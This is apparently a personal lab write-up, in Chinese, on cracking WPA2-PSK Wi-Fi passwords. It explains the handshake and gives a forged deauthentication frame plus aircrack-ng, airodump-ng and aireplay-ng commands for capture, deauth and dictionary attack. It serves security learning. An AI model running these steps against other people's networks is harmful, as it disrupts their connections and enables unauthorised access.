Linux使用aircrack-ng攻击WPA2-PSK

1.7k 词

原理

WPA2-PSK认证模式

WPA2-PSK四次握手 如图,在WPA2-PSK认证过程的四次握手中,PTK的一部分用于生成MIC(Message Integrity Check),而


(PTK:Pairwise Transient Key,PRF:Pseudorandom Function,PMK:Pairwise Master Key,Nonce:仅使用一次的随机数)

其中PMK由PSK派生,而


(PSK:Pre-Shared Key,pdkdf2:Passphrase-Based Key Derivation Function 2)

于是,如果我们监听到了握手包,则可以获取SSID、二者MAC、ANonce、SNonce、MIC,便可以将其用于验证猜测的密码(passphrase)是否正确,进行离线攻击。

取消认证攻击

1
2
3
4
5
6
7
8
9
uint8_t deauthPacket[26] = {
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
};

取消认证帧的结构如上,如果获取到了AP和客户端的信息,就可以伪造取消认证帧,进行取消认证攻击,令连接断开,然后在客户端尝试和AP重连时获取用于离线攻击的握手包。

aircrack-ng文档

相关命令的文档在:
airodump-ng
aireplay-ng
aircrack-ng

实验过程

安装aircrack-ng

1
apt install aircrack-ng

扫描AP

将网卡(interface)设置为monitor模式:

1
2
3
ip link set [interface name] down
iwconfig [interface name] mode monitor
ip link set [interface name] up
执行iwconfig确认相应网卡模式已经更改为monitor
然后扫描周围AP,可以在其中寻找目标:
1
airodump-ng [interface name]
列表中的ENC是加密方式,CH是信道(channel)。

监听握手包

1
airodump-ng -write [pack name] -channel [channel] -bssid [AP bssid] [interface name]

[pack name]是输出握手包的文件名,建议专门弄个文件夹玩...
当出现提示handshake pack即已获取到握手包。

取消认证攻击

但是,握手包不一定监听得到,可以进行取消认证攻击令客户端与AP重连:

1
aireplay-ng -deauth [count] -a [AP bssid] -c [client bssid] [interface name]
[count]为攻击次数。

离线字典攻击

获取到握手包后,我们需要输出的.cap文件,使用aircrack-ng进行字典攻击:

1
aircrack-ng -w [wordlist] [pack name].cap
字典(wordlist)可以在这里获取:wpa2-wordlists

声明

实验均在本人设备上、对本人设备进行,未进行非法攻击。